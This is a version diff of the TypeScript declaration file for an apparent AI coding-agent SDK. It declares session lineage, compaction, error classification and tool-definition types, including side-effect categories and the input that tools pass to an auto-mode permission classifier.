@kodax-ai/kodax 0.7.40 → 0.7.42

package/dist/sdk-coding.d.ts

@@ -1,20 +1,4614 @@
+import { m as KodaXMessage, X as KodaXToolDefinition, Z as KodaXToolResultContentItem, D as KodaXReasoningMode, a0 as KodaXToolUseBlock, g as KodaXContentBlock, q as KodaXProviderCapabilityProfile, C as KodaXReasoningCapability, Q as KodaXTaskType, i as KodaXExecutionMode, P as KodaXTaskRoutingDecision, K as KodaXAmaControllerDecision, V as KodaXThinkingDepth } from './types-chunks/types.d-B1uGoVTE.js';
+export { a as KodaXAmaFanoutClass, b as KodaXAmaFanoutPolicy, c as KodaXAmaProfile, d as KodaXAmaTactic, h as KodaXCustomProviderConfig, l as KodaXImageBlock, n as KodaXModelDescriptor, p as KodaXProtocolFamily, r as KodaXProviderConfig, t as KodaXProviderConversationSemantics, w as KodaXProviderMcpSupport, z as KodaXProviderStreamOptions, B as KodaXProviderTransport, E as KodaXReasoningOverride, F as KodaXReasoningRequest, G as KodaXRedactedThinkingBlock, H as KodaXReviewScale, I as KodaXRiskLevel, J as KodaXStreamResult, M as KodaXTaskBudgetOverrides, S as KodaXTextBlock, T as KodaXThinkingBlock, U as KodaXThinkingBudgetMap, W as KodaXTokenUsage, Y as KodaXToolResultBlock } from './types-chunks/types.d-B1uGoVTE.js';
+export { K as KODAX_DEFAULT_PROVIDER, b as KODAX_PROVIDERS, c as KODAX_PROVIDER_SNAPSHOTS, d as KODAX_REASONING_MODE_SEQUENCE, f as KodaXAnthropicCompatProvider, g as KodaXError, i as KodaXOpenAICompatProvider, j as KodaXProviderError, k as KodaXRateLimitError, P as ProviderName, m as buildReasoningOverrideKey, o as clearReasoningOverride, p as clearRuntimeModelProviders, q as createCustomProvider, r as getAvailableProviderNames, s as getCustomProvider, t as getCustomProviderList, u as getCustomProviderModels, v as getCustomProviderNames, x as getProvider, y as getProviderConfiguredCapabilityProfile, z as getProviderConfiguredReasoningCapability, A as getProviderList, B as getProviderModel, C as getProviderModels, E as getRuntimeModelProvider, F as getRuntimeModelProviderNames, G as isCustomProviderName, H as isKnownProvider, I as isProviderConfigured, J as isProviderName, M as isRuntimeModelProviderName, N as loadReasoningOverride, R as reasoningCapabilityToOverride, S as reasoningOverrideToCapability, T as registerCustomProviders, U as registerModelProvider, V as resolveProvider, X as saveReasoningOverride, Y as validateCustomProviderConfig } from './types-chunks/resolver.d-DX9au4NJ.js';
+import { K as KodaXBaseProvider, a as CostTracker } from './types-chunks/cost-tracker.d-B6vMoLLF.js';
+import { C as CapabilityKind, a as CapabilityProvider, b as CapabilityResult } from './types-chunks/capability.d-3C62G8Eq.js';
+import { q as CompactionDetails, au as KodaXToolExecutionContext, a2 as KodaXRepoIntelligenceCapability, a5 as KodaXRepoIntelligenceTrace, a3 as KodaXRepoIntelligenceMode, a7 as KodaXRepoRoutingSignals, a4 as KodaXRepoIntelligenceResolvedMode, _ as KodaXOptions, P as KodaXInputArtifact, G as KodaXContextOptions, a1 as KodaXProviderPolicyHints, aB as ProviderResilienceConfig, aC as ProviderResiliencePolicy, F as FailureStage, aH as ResilienceClassification, az as ProviderExecutionState, aE as RecoveryDecision, aG as RecoveryResult, a8 as KodaXResult, ab as KodaXSessionControl, ac as KodaXSessionMutators, O as KodaXFanoutSchedulerPlan, M as KodaXFanoutBranchTransition, N as KodaXFanoutSchedulerInput, z as KodaXChildContextBundle, a0 as KodaXParentReductionContract, L as KodaXFanoutBranchRecord, R as KodaXManagedProtocolPayload, u as ExtensionRuntimeContract, I as KodaXEvents, k as AutoRules, aQ as ToolCallSignal, aL as SignalCollector } from './types-chunks/bash-prefix-extractor.d-CkhaqKkg.js';
+export { C as AUTO_MODE_DENIAL_CONSECUTIVE_THRESHOLD, n as AUTO_MODE_DENIAL_CUMULATIVE_THRESHOLD, A as AgentsFile, a as AskUserMultiOptions, b as AskUserQuestionItem, c as AskUserQuestionOptions, d as AutoModeAskUser, e as AutoModeAskUserVerdict, D as AutoModeDenialTracker, f as AutoModeEngine, g as AutoModeGuardrailConfig, h as AutoModeSharedState, i as AutoModeStats, j as AutoModeToolGuardrail, B as BASH_POLICY_SPEC, E as BREAKER_ERROR_THRESHOLD, aS as BREAKER_WINDOW_MS, l as BashPrefixExtractor, m as BashPrefixResult, o as CircuitBreaker, p as CompactionAnchor, r as CompactionResult, s as CompactionUpdate, t as CreateBashPrefixExtractorOptions, v as ExtractCommandPrefixOptions, K as KodaXAgentMode, w as KodaXBudgetDisclosureZone, x as KodaXBudgetExtensionRequest, y as KodaXChildAgentResult, H as KodaXContextTokenSnapshot, J as KodaXFanoutBranchLifecycle, Q as KodaXManagedBudgetSnapshot, S as KodaXManagedTask, T as KodaXManagedTaskRuntimeState, U as KodaXManagedTaskStatusEvent, V as KodaXMcpConnectMode, W as KodaXMcpServerConfig, X as KodaXMcpServersConfig, Y as KodaXMcpTransport, Z as KodaXMemoryStrategy, $ as KodaXOrchestrationVerdict, a6 as KodaXRepoIntelligenceTraceEvent, a9 as KodaXRoleRoundSummary, aa as KodaXRuntimeVerificationContract, ad as KodaXSessionOptions, ae as KodaXSkillInvocationContext, af as KodaXSkillMap, ag as KodaXSkillProjectionConfidence, ah as KodaXTaskCapabilityHint, ai as KodaXTaskContract, aj as KodaXTaskEvidenceArtifact, ak as KodaXTaskEvidenceBundle, al as KodaXTaskEvidenceEntry, am as KodaXTaskRole, an as KodaXTaskRoleAssignment, ao as KodaXTaskStatus, ap as KodaXTaskSurface, aq as KodaXTaskToolPolicy, ar as KodaXTaskVerificationContract, as as KodaXTaskVerificationCriterion, at as KodaXTaskWorkItem, av as KodaXVerificationScorecard, aw as KodaXVerificationScorecardCriterion, ax as LoadAgentsOptions, ay as LoadedRulesSource, aA as ProviderRecoveryEvent, aD as RecoveryAction, aF as RecoveryLadderStep, aI as ResilienceErrorClass, aJ as RulesLoadError, aK as RulesLoadResult, aM as SkippedRulesSource, aN as TodoItem, aO as TodoList, aP as TodoStatus, aR as TrustState, b7 as autoModeDenialShouldFallback, b8 as breakerShouldFallback, aT as collectAllSignals, aU as computeRulesFingerprint, aY as createAutoModeDenialTracker, aV as createAutoModeToolGuardrail, aW as createBashPrefixExtractor, aX as createCircuitBreaker, aZ as extractCommandPrefix, a_ as formatAgentsForPrompt, a$ as getKodaxGlobalDir, b0 as loadAgentsFiles, b1 as loadAutoRules, b2 as parseAutoRules, b3 as readTrustState, b4 as recordAutoModeAllow, b5 as recordAutoModeBlock, b6 as recordBreakerError, b9 as trustProjectRules } from './types-chunks/bash-prefix-extractor.d-CkhaqKkg.js';
+import { N as SessionExtension, L as SessionEntry, g as CompactionPolicy, S as Session, C as CompactionContext, w as PolicyCompactionResult, Q as QualityInvariant, Z as ToolCapability } from './types-chunks/history-cleanup.d-DznrzEiU.js';
+export { e as CompactionEntry, f as CompactionEntryPayload, h as DefaultSummaryCompaction, i as DefaultSummaryCompactionOptions, I as InMemorySessionOptions, K as KODAX_API_MIN_INTERVAL, n as KODAX_DEFAULT_TIMEOUT, o as KODAX_HARD_TIMEOUT, p as KODAX_MAX_INCOMPLETE_RETRIES, r as KODAX_MAX_RETRIES, s as KODAX_MAX_TOKENS, t as KODAX_RETRY_BASE_DELAY, u as KODAX_STAGGER_DELAY, v as MessageEntry, P as PROMISE_PATTERN, x as PresetDispatcher, B as RunEvent, E as RunOptions, F as RunResult, G as Runner, T as SessionForkOptions, a2 as cleanupIncompleteToolCalls, a3 as countTokens, a4 as createInMemorySession, a7 as estimateTokens, aa as getAgentConfigHome, ab as getAgentConfigPath, ac as getAppDataDir, ad as registerPresetDispatcher, ag as setAgentConfigHome, ah as validateAndFixToolHistory } from './types-chunks/history-cleanup.d-DznrzEiU.js';
+import { o as KodaXSessionLineage, f as KodaXJsonValue, a as KodaXCompactMemorySeed, l as KodaXSessionEntry, v as KodaXSessionTreeNode, n as KodaXSessionLabelEntry, r as KodaXSessionNavigationOptions, h as KodaXSessionArtifactLedgerEntry, b as KodaXExtensionSessionRecord, d as KodaXExtensionStore, S as SessionErrorMetadata } from './types-chunks/types.d-mM8vqvhT.js';
+export { K as KodaXCompactMemoryProgress, c as KodaXExtensionSessionState, i as KodaXSessionBranchSummaryEntry, j as KodaXSessionCompactionEntry, k as KodaXSessionData, m as KodaXSessionEntryBase, p as KodaXSessionMessageEntry, q as KodaXSessionMeta, s as KodaXSessionRuntimeInfo, t as KodaXSessionScope, u as KodaXSessionStorage, w as KodaXSessionUiHistoryItem, x as KodaXSessionUiHistoryItemType, y as KodaXSessionWorkspaceKind } from './types-chunks/types.d-mM8vqvhT.js';
+import { o as RunnableTool, A as Agent, J as ToolGuardrail, a as AgentMessage, q as RunnerLlmReturn, r as RunnerToolCall } from './types-chunks/instance-discovery.d-BsKnIwpg.js';
+export { c as AgentReasoningProfile, d as AgentTool, G as Guardrail, H as Handoff, R as ReasoningDepth, Q as createAgent, U as createHandoff } from './types-chunks/instance-discovery.d-BsKnIwpg.js';
+import { b as McpServersConfig } from './types-chunks/config.d-BfJUXxC0.js';
+export { M as McpConnectMode, a as McpServerConfig, c as McpTransportKind } from './types-chunks/config.d-BfJUXxC0.js';
+import { e as McpProviderOptions, b as McpCapabilityProvider } from './types-chunks/transport.d-DuyjG30t.js';
+export { M as McpCapabilityDescriptor, a as McpCapabilityKind, c as McpCapabilityRisk, d as McpCatalogItem, f as McpServerCatalogSnapshot, g as McpServerRuntime, h as McpServerRuntimeDiagnostics, i as McpTransport, j as McpTransportEvents, k as createMcpCapabilityId, l as createMcpTransport, m as defaultMcpCacheDir, n as getMcpCachePaths, p as parseMcpCapabilityId, s as searchMcpCatalog } from './types-chunks/transport.d-DuyjG30t.js';
+import '@anthropic-ai/sdk';
+import 'openai';
+
 /**
- * SDK subpath entry — `@kodax-ai/kodax/coding`
+ * LineageExtension — SessionExtension façade over lineage semantics.
  *
- * Re-exports the entire `@kodax-ai/coding` public API — coding tools,
- * prompts, AMA harness primitives, child task dispatch, idle-yield
- * orchestration, etc.
+ * FEATURE_081 (v0.7.23): expresses today's `KodaXSessionLineage` operations
+ * (label, rewind, compaction ledger, branch summary) as a
+ * `SessionExtension` over the base `Session` primitive.
  *
- * Note: the root entry `@kodax-ai/kodax` already does `export * from
- * '@kodax-ai/coding'` for backward compatibility with v0.7.38's single-
- * entry model. This subpath is provided as a tree-shake-friendly
- * alternative when SDK consumers only need coding-package APIs.
+ * FEATURE_082 (v0.7.24): moved from `@kodax-ai/coding/src/extensions/lineage.ts`
+ * to this package. Depends on `@kodax-ai/agent` for `Session` / `SessionEntry` /
+ * `SessionExtension` (Layer A primitives — extracted to `@kodax-ai/core` in
+ * FEATURE_082, merged back into `@kodax-ai/agent` in v0.7.35.1 FEATURE_142).
+ * `@kodax-ai/coding` keeps a barrel re-export.
  *
- * Usage:
- * ```ts
- * import { runKodaX, dispatchChildTask } from '@kodax-ai/kodax/coding';
- * ```
+ * Scope:
+ *   - Declare the extension object.
+ *   - Implement `label` and `attachArtifact` operators that append standard
+ *     entries to a Session.
+ *   - Implement a `buildLineageTree` reducer that projects an entry stream
+ *     back to a navigable tree.
+ *   - NOT re-implemented here: `branch`, `rewind`, full compaction. Those
+ *     stay in `@kodax-ai/agent/session-lineage.ts` for coding-preset use; the
+ *     `LineageCompaction` policy in this package is the thin wrapper that
+ *     adapts them to the Layer A `CompactionPolicy` contract.
+ */
+
+/**
+ * Entry types claimed by `LineageExtension`. Mirrors the legacy
+ * `KodaXSessionEntry` tagged union plus a `rewind_marker` placeholder (the
+ * legacy lineage records rewinds via `activeEntryId` mutation; Session is
+ * linear, so a marker entry is the equivalent).
+ */
+declare const LINEAGE_ENTRY_TYPES: readonly ["message", "label", "compaction", "branch_summary", "archive_marker", "rewind_marker", "artifact_ledger"];
+type LineageEntryType = (typeof LINEAGE_ENTRY_TYPES)[number];
+/**
+ * Payload shape for a `label` entry. Mirrors
+ * `KodaXSessionLabelEntry.targetId`/`label` fields on the legacy lineage.
+ */
+interface LineageLabelPayload {
+    readonly targetId: string;
+    readonly label?: string;
+}
+/**
+ * Payload shape for an `artifact_ledger` entry. Mirrors a minimal subset of
+ * `KodaXSessionArtifactLedgerEntry`; full semantic fidelity is kept on the
+ * legacy side for now and normalised in FEATURE_082.
+ */
+interface LineageArtifactLedgerPayload {
+    readonly ref: string;
+    readonly kind?: string;
+    readonly summary?: string;
+}
+/**
+ * Projected tree node. Mirrors the navigation shape of
+ * `KodaXSessionTreeNode` from `@kodax-ai/agent/types.ts`, restricted to the
+ * fields the base Session can supply.
+ */
+interface LineageTreeNode {
+    readonly entry: SessionEntry;
+    readonly children: LineageTreeNode[];
+    readonly label?: string;
+}
+/**
+ * The exported extension. Operators write standard-shaped entries; the
+ * reducer projects an entry stream back to a navigable tree.
+ *
+ * Immutability: top-level object, `operators`, and `reducers` are all
+ * frozen. Freezes are shallow — the functions stored inside `operators`
+ * and `reducers` are immutable by nature (closures reference only
+ * module-private state). External code must not mutate the extension;
+ * doing so is a programmer error that the type-level `readonly` already
+ * disallows without a cast.
+ */
+declare const LineageExtension: SessionExtension;
+
+/**
+ * LineageCompaction — `CompactionPolicy` adapter for the coding preset's
+ * FEATURE_072 lineage-native compaction runtime.
+ *
+ * FEATURE_082 (v0.7.24): introduced alongside the lineage extraction so the
+ * coding preset can implement `CompactionPolicy` without re-implementing the
+ * compaction loop. The actual compaction runtime (microcompaction, post-
+ * compact reconstruction, summary generation) stays in
+ * `@kodax-ai/agent/src/compaction/` until FEATURE_084 (v0.7.26) consolidates it.
+ *
+ * Usage (inside @kodax-ai/coding):
+ *
+ *   const policy = new LineageCompaction({
+ *     shouldCompact: (session, used, budget) => runFeature072Heuristic(used, budget),
+ *     compact: async (session, ctx) => runFeature072Compaction(session, ctx),
+ *   });
+ *
+ * The injected delegates keep this package free of coding-specific imports,
+ * preserving the dependency direction
+ * `@kodax-ai/coding -> @kodax-ai/session-lineage -> @kodax-ai/agent`.
+ */
+
+/**
+ * Delegates required to implement `LineageCompaction`. The coding preset
+ * supplies implementations that bridge to the existing FEATURE_072 code
+ * paths.
+ */
+interface LineageCompactionDelegates {
+    readonly shouldCompact: (session: Session, tokensUsed: number, budget: number) => boolean;
+    readonly compact: (session: Session, ctx: CompactionContext) => Promise<PolicyCompactionResult>;
+    readonly restore?: (session: Session, hint: unknown) => Promise<void>;
+}
+/**
+ * `CompactionPolicy` implementation that preserves FEATURE_072 lineage-native
+ * compaction semantics by delegating to injected coding-preset functions.
+ */
+declare class LineageCompaction implements CompactionPolicy {
+    readonly name = "lineage-compaction";
+    private readonly delegates;
+    constructor(delegates: LineageCompactionDelegates);
+    shouldCompact(session: Session, tokensUsed: number, budget: number): boolean;
+    compact(session: Session, ctx: CompactionContext): Promise<PolicyCompactionResult>;
+    restore(session: Session, hint: unknown): Promise<void>;
+}
+
+/**
+ * @kodax-ai/agent Session
+ *
+ * 会话管理 - Session ID 生成和消息处理
+ */
+
+/**
+ * 生成会话 ID
+ * 格式: YYYYMMDD_HHMMSS
+ */
+declare function generateSessionId(): Promise<string>;
+/**
+ * 从消息中提取标题
+ * 取第一条用户消息的前50个字符
+ */
+declare function extractTitleFromMessages(messages: KodaXMessage[]): string;
+
+type NavigableSessionEntry = Exclude<KodaXSessionEntry, KodaXSessionLabelEntry>;
+/**
+ * Reconcile a linear message list against an existing lineage tree.
+ *
+ * Existing matching entries are reused when possible, and only the missing
+ * tail is appended as new message entries.
+ */
+declare function createSessionLineage(messages: KodaXMessage[], previous?: KodaXSessionLineage): KodaXSessionLineage;
+/**
+ * Walk the lineage from a target entry back to the root.
+ *
+ * Traversal stops safely if malformed data introduces a parent cycle.
+ */
+declare function getSessionLineagePath(lineage: KodaXSessionLineage, targetId?: string | null): NavigableSessionEntry[];
+/**
+ * Build the effective LLM-visible message context for the active lineage path.
+ *
+ * FEATURE_072: for non-rewind compaction entries that carry
+ * `postCompactAttachments`, the slicer inlines attachments immediately after
+ * the summary. `getContextMessagesForEntry` stays 1-to-1 — attachments are a
+ * slicer-layer concern, which preserves the contract
+ * `entryMatchesContextMessage` and FEATURE_073's future firstKeptEntryId-based
+ * slicing both depend on.
+ */
+declare function getSessionMessagesFromLineage(lineage: KodaXSessionLineage, targetId?: string | null): KodaXMessage[];
+/**
+ * Resolve an entry selector using either a direct entry id or the latest label.
+ */
+declare function resolveSessionLineageTarget(lineage: KodaXSessionLineage, selector: string): NavigableSessionEntry | undefined;
+/**
+ * Move the active leaf to a selected target, optionally appending a
+ * branch-summary node that captures the abandoned path.
+ */
+declare function setSessionLineageActiveEntry(lineage: KodaXSessionLineage, selector: string, options?: KodaXSessionNavigationOptions): KodaXSessionLineage | null;
+/**
+ * Append a label change entry that bookmarks a lineage node.
+ */
+declare function appendSessionLineageLabel(lineage: KodaXSessionLineage, selector: string, label?: string): KodaXSessionLineage | null;
+/**
+ * Apply a compaction event to the lineage.
+ *
+ * FEATURE_072 signature change: `keptMessages` (the post-summary tail that
+ * will become lineage entries) and `postCompactAttachments` (ledger +
+ * file-content messages that live on the CompactionEntry itself) are now
+ * separate parameters. The kept tail MUST NOT include attachments — otherwise
+ * they would be double-stored (once as message entries in lineage, once on
+ * the compaction entry). Phase A keeps `postCompactAttachments` optional so
+ * current callers that pass `[]` (or omit it) behave identically to today.
+ * Phase B migrates callers to supply real attachments.
+ */
+declare function applySessionCompaction(lineage: KodaXSessionLineage | undefined, compactedMessages: KodaXMessage[], anchor: {
+    summary: string;
+    tokensBefore?: number;
+    tokensAfter?: number;
+    artifactLedgerId?: string;
+    reason?: string;
+    details?: KodaXJsonValue | CompactionDetails;
+    memorySeed?: KodaXCompactMemorySeed;
+}, postCompactAttachments?: readonly KodaXMessage[]): KodaXSessionLineage;
+/**
+ * Rewind the current session lineage to a target entry, truncating all entries after it.
+ * Records a rewind event in the lineage for auditability.
+ * Returns null if targetEntryId is not found.
+ *
+ * @param lineage - The session lineage to rewind
+ * @param targetEntryId - The entry ID to rewind to (inclusive)
+ * @returns A new lineage with entries truncated after the target, or null if target not found
+ */
+/**
+ * Find the entry ID of the second-to-last user message in the lineage.
+ * Used by `/rewind` (no argument) to go back one conversational turn.
+ * Returns null if fewer than 2 user messages exist.
+ */
+declare function findPreviousUserEntryId(lineage: KodaXSessionLineage): string | null;
+declare function rewindSessionLineage(lineage: KodaXSessionLineage, targetEntryId: string): KodaXSessionLineage | null;
+declare function forkSessionLineage(lineage: KodaXSessionLineage, selector?: string): KodaXSessionLineage | null;
+/**
+ * Convert a lineage into a nested tree structure for UI presentation.
+ */
+declare function buildSessionTree(lineage: KodaXSessionLineage): KodaXSessionTreeNode[];
+/**
+ * Count the effective context messages on the active lineage path.
+ */
+declare function countActiveLineageMessages(lineage: KodaXSessionLineage): number;
+/**
+ * Archive message entries from old "islands" (disconnected subtrees).
+ *
+ * Each compaction entry has parentId: null, creating an independent island.
+ * The active leaf lives in one island (the "current" island). All other
+ * islands are considered "old" and eligible for archival.
+ *
+ * A "preserve closure" is computed first:
+ *  - All entries in the current island (active path + recent branches)
+ *  - Label targets and their ancestor chains
+ *  - Non-message entries and their ancestor chains (prevents tree drift)
+ *
+ * Only entries outside the preserve closure are archived.
+ */
+declare function archiveOldIslands(lineage: KodaXSessionLineage): {
+    slimmedLineage: KodaXSessionLineage;
+    archivedEntries: KodaXSessionEntry[];
+    archivedCount: number;
+    archiveBatchId: string;
+};
+
+/**
+ * @kodax-ai/agent File Tracking — artifactLedger extraction.
+ *
+ * FEATURE_185 (v0.7.42) extends the previous input-only extractor to also
+ * read each tool_use's matching tool_result, enriching `metadata` with parsed
+ * hits / matchedPaths / exitCode / tail. Pipeline:
+ *
+ *   Round end (REPL: repl.ts:1279/1371)
+ *     → extractArtifactLedger(result.messages)
+ *     → tool_result still raw (top-of-loop microcompact hasn't run on these)
+ *     → buildArtifactEntry parses result content into metadata
+ *     → mergeArtifactLedger commits enrichment to context.artifactLedger
+ *     → storage.save persists the enriched ledger
+ *
+ *   Top-of-loop microcompact (run-substrate.ts:621, iteration N+1)
+ *     → clears tool_result.content older than maxAge to `[Cleared: ...]`
+ *
+ *   Compaction time (compaction.ts:257)
+ *     → extractArtifactLedger(toProcess) re-runs on cleared messages
+ *     → buildArtifactEntry's parsers refuse `[Cleared: ...]` → no fresh hits
+ *     → mergeArtifactLedger preserves the round-end enrichment via
+ *       per-key non-empty preference (see `mergeLedgerMetadata`).
+ *
+ * The metadata-aware merge is the keystone — without it, every compaction
+ * would silently downgrade ledger entries to input-only. End-to-end
+ * preservation is exercised by the "end-to-end enrichment survives
+ * microcompact" tests in file-tracker.test.ts.
+ */
+
+declare function extractArtifactLedger(messages: KodaXMessage[]): KodaXSessionArtifactLedgerEntry[];
+declare function mergeArtifactLedger(existing: KodaXSessionArtifactLedgerEntry[], next: KodaXSessionArtifactLedgerEntry[]): KodaXSessionArtifactLedgerEntry[];
+
+/**
+ * KodaX Core Errors
+ *
+ * 错误类型体系 - 提供结构化的错误处理
+ */
+/** 基础 KodaX 错误类 */
+declare class KodaXError extends Error {
+    readonly code: string;
+    constructor(message: string, code?: string);
+}
+/** 工具执行错误 */
+declare class KodaXToolError extends KodaXError {
+    readonly toolName: string;
+    readonly toolId?: string | undefined;
+    constructor(message: string, toolName: string, toolId?: string | undefined);
+}
+/** 会话错误 */
+declare class KodaXSessionError extends KodaXError {
+    readonly sessionId?: string | undefined;
+    constructor(message: string, sessionId?: string | undefined);
+}
+/** 终端不支持错误 */
+declare class KodaXTerminalError extends KodaXError {
+    /** 建议的替代命令 */
+    readonly suggestions: string[];
+    constructor(message: string, suggestions?: string[]);
+}
+
+/**
+ * KodaX Error Classification
+ *
+ * 错误分类系统 - 决定适当的恢复策略
+ */
+declare enum ErrorCategory {
+    TRANSIENT = 0,// 临时错误，可重试（速率限制、超时、网络错误）
+    PERMANENT = 1,// 永久错误，不可重试（认证失败、无效请求）
+    TOOL_CALL_ID = 2,// 特定的 tool_call_id 不匹配错误
+    USER_ABORT = 3
+}
+interface ErrorClassification {
+    category: ErrorCategory;
+    retryable: boolean;
+    maxRetries: number;
+    retryDelay: number;
+    shouldCleanup: boolean;
+}
+/**
+ * 分类错误以确定适当的恢复策略
+ */
+declare function classifyError(error: Error): ErrorClassification;
+
+/**
+ * KodaX Core Constants
+ */
+
+/** Prefix used to detect user-cancelled tool results in the agent loop. */
+declare const CANCELLED_TOOL_RESULT_PREFIX = "[Cancelled]";
+/** Standard cancellation message returned when a tool is cancelled by the user. */
+declare const CANCELLED_TOOL_RESULT_MESSAGE = "[Cancelled] Operation cancelled by user";
+
+/**
+ * KodaX Tool Types
+ */
+
+/**
+ * Progress yield from a streaming (async generator) tool.
+ * Each yield appears as a real-time status update in the REPL transcript.
+ */
+interface ToolProgress {
+    readonly stage: string;
+    readonly message: string;
+}
+/**
+ * Final result a tool may return. Either a plain string (the default for
+ * text-only tools) OR a typed-array form for multimodal returns (e.g.
+ * `read` on an image path returns `[{type:'text',...}, {type:'image',...}]`).
+ * Providers serialize each shape to their wire format; OpenAI-compat
+ * gateways downgrade image items to a placeholder rather than rejecting.
+ *
+ * The array form mirrors claudecode's FileReadTool image return — Claude
+ * Code packs image data into `tool_result` content so the model can
+ * re-fetch images via the tool path. See
+ * `c:/Works/claudecode/src/tools/FileReadTool/FileReadTool.ts:866-891`.
+ */
+type ToolResult = string | readonly KodaXToolResultContentItem[];
+/** Standard tool handler — returns a final result (text or multimodal). */
+type ToolHandlerSync = (input: Record<string, unknown>, context: KodaXToolExecutionContext) => Promise<ToolResult>;
+/** Streaming tool handler — yields progress updates, returns final result. */
+type ToolHandlerStreaming = (input: Record<string, unknown>, context: KodaXToolExecutionContext) => AsyncGenerator<ToolProgress, ToolResult, void>;
+/** Union of both handler types. Existing tools use ToolHandlerSync; new long-running tools may use ToolHandlerStreaming. */
+type ToolHandler = ToolHandlerSync | ToolHandlerStreaming;
+/**
+ * v0.7.42 — Declarative tool side-effect class.
+ *
+ * Required field on every {@link LocalToolDefinition}. Used by:
+ *   - Plan mode: tools with `sideEffect !== 'readonly'` are blocked unless
+ *     they explicitly opt in via `planModeAllowed: true` (e.g.
+ *     `exit_plan_mode`, `task_stop`).
+ *   - SDK embedders (KodaX Space etc.): iterate `getAllRegisteredTools()`
+ *     and build their own blocklist by category — replaces the previous
+ *     practice of hardcoding a `Set<string>` of tool names, which silently
+ *     drifted whenever KodaX added a new tool.
+ *   - Internal permission system: `FILE_MODIFICATION_TOOLS` and
+ *     `MODIFICATION_TOOLS` exports in `@kodax-ai/repl` are now computed
+ *     from this metadata at module load time, so adding a new
+ *     `'mutates-fs'` tool here automatically reaches every callsite
+ *     that consumes those sets.
+ *
+ * Categories (mutually exclusive; pick the dominant effect):
+ *   - `'readonly'`        — produces no observable side effect, just reads
+ *                            local state (FS, registry, computed views).
+ *   - `'mutates-fs'`      — writes to the local filesystem (write, edit,
+ *                            multi-edit, undo, worktree-*, construction
+ *                            artifacts). Bash is NOT in this bucket; it has
+ *                            its own.
+ *   - `'mutates-shell'`   — invokes an arbitrary shell command (bash).
+ *   - `'mutates-network'` — performs a network request that may have side
+ *                            effects on the remote (web_fetch with any
+ *                            method, web_search, MCP server calls).
+ *   - `'mutates-state'`   — changes internal session/agent state without
+ *                            FS or shell side effects (todo_update,
+ *                            send_message, dispatch_child_task,
+ *                            exit_plan_mode, emit_managed_protocol).
+ *
+ * Pick the dominant effect when a tool touches multiple. e.g. `dispatch_
+ * child_task` may transitively run any tool, but its own direct effect is
+ * spawning a child agent (`mutates-state`).
+ */
+type ToolSideEffect = 'readonly' | 'mutates-fs' | 'mutates-shell' | 'mutates-network' | 'mutates-state';
+/**
+ * FEATURE_149 (v0.7.38) — interrupt-on-submit policy for in-flight tools.
+ *
+ * Controls whether submitting a new prompt while THIS tool is mid-execution
+ * triggers a fast-abort of the current agent round (so the new prompt starts
+ * immediately) or queues the prompt to run after the tool resolves.
+ *
+ *   - `'cancel'` — long-running tools whose work the user is likely to want
+ *     to abandon when they redirect (e.g., `bash` running a 30s script,
+ *     `dispatch_child_task` synchronously awaiting a child, sleep-style
+ *     tools). InkREPL submit handler aborts the round immediately.
+ *
+ *   - `'wait'` (default) — atomic / fast tools (read, grep, glob, write,
+ *     edit, …) where waiting for completion is cheaper than aborting and
+ *     redoing.
+ *
+ * Mirrors Claude Code `interruptBehavior` (`utils/handlePromptSubmit.ts`).
+ */
+type ToolInterruptBehavior = 'cancel' | 'wait';
+interface LocalToolDefinition extends KodaXToolDefinition {
+    handler: ToolHandler;
+    /**
+     * v0.7.42 — Required declarative side-effect class. See
+     * {@link ToolSideEffect} for category definitions and rationale. Plan
+     * mode and SDK embedders' permission brokers consume this; failure to
+     * declare is a TypeScript error (by design — `sideEffect` is required,
+     * not optional, to prevent silent drift when new tools are added).
+     */
+    sideEffect: ToolSideEffect;
+    /**
+     * v0.7.42 — Optional plan-mode override.
+     *
+     *   - `undefined` (default): plan-mode permits only `sideEffect ===
+     *     'readonly'` tools.
+     *   - `true`: explicitly permitted in plan mode even when sideEffect is
+     *     not `'readonly'`. Reserve for tools whose effect is itself part of
+     *     the planning loop (`exit_plan_mode`, `task_stop`, `todo_update`,
+     *     `todo_create`, `ask_user_question`).
+     *   - `false`: explicitly blocked in plan mode even when sideEffect is
+     *     `'readonly'`. Rare — useful for read-only tools whose output would
+     *     leak content the planner should not see.
+     */
+    planModeAllowed?: boolean;
+    /**
+     * FEATURE_149 (v0.7.38) — submit-time interrupt policy. See
+     * {@link ToolInterruptBehavior}. Default `'wait'` when undefined.
+     */
+    interruptBehavior?: ToolInterruptBehavior;
+    /**
+     * Classifier projection — REQUIRED (FEATURE_092 v0.7.33).
+     *
+     * Returns a one-line string that the auto-mode classifier sees as the
+     * `<action>` to evaluate. The classifier asks: "Given the user's
+     * intent + rules, should the agent be allowed to run this?"
+     *
+     * THREE-TIER STRATEGY (pick by tool's risk profile):
+     *
+     *   1. ZERO RISK (read-only, structural):
+     *      → return ''  (Tier 1 — classifier is skipped entirely, zero token cost)
+     *      Examples: read, grep, glob, ask_user_question, exit_plan_mode
+     *
+     *   2. HIGH RISK (mutates state, network, exec, spawn):
+     *      → write a CUSTOM projection that surfaces the risk-bearing fields
+     *      Examples: bash (`Bash: ${i.command}`), web_fetch (`WebFetch ${i.url}`)
+     *      See `classifier-projection.ts` for examples by category.
+     *
+     *   3. LOW RISK (structured input, side-effect-capable):
+     *      → return defaultToClassifierInput(name, input)  (one-line helper)
+     *      Examples: semantic_lookup (refresh: true rebuilds index)
+     *
+     * KEEP IT SHORT: ≤ 100 chars typical. Variable-length user-provided fields
+     * (bash command, URL, dispatch_child_task objective) may legitimately
+     * exceed this — the projection's job is to make the risk visible, not to
+     * fit a fixed budget at the cost of hiding it.
+     *
+     * NEVER include: raw file contents, secrets, API keys, full LLM-emitted
+     * reasoning, or untrusted text passed through verbatim. Use byte/line
+     * counts as proxies (`Write ${path} (${content.length} bytes)`).
+     *
+     * See `docs/features/v0.7.33.md` "Tool 接口扩展" for design rationale.
+     */
+    toClassifierInput: (input: unknown) => string;
+}
+interface ToolDefinitionSource {
+    /**
+     * Origin of the registered tool. `'constructed'` (FEATURE_087, v0.7.28)
+     * marks tools materialized at runtime by `ConstructionRuntime` from
+     * `.kodax/constructed/tools/<name>/<version>.json` artifacts.
+     */
+    kind: 'builtin' | 'extension' | 'constructed';
+    id?: string;
+    label?: string;
+    /**
+     * Constructed-only: semver of the activated artifact. Used by
+     * `findByVersion()` and by `revoke()` to locate a specific stack entry.
+     */
+    version?: string;
+    /**
+     * Constructed-only: absolute path to the artifact JSON on disk.
+     * Lets revoke / inspect operations round-trip back to the source of
+     * truth without re-globbing.
+     */
+    manifestPath?: string;
+}
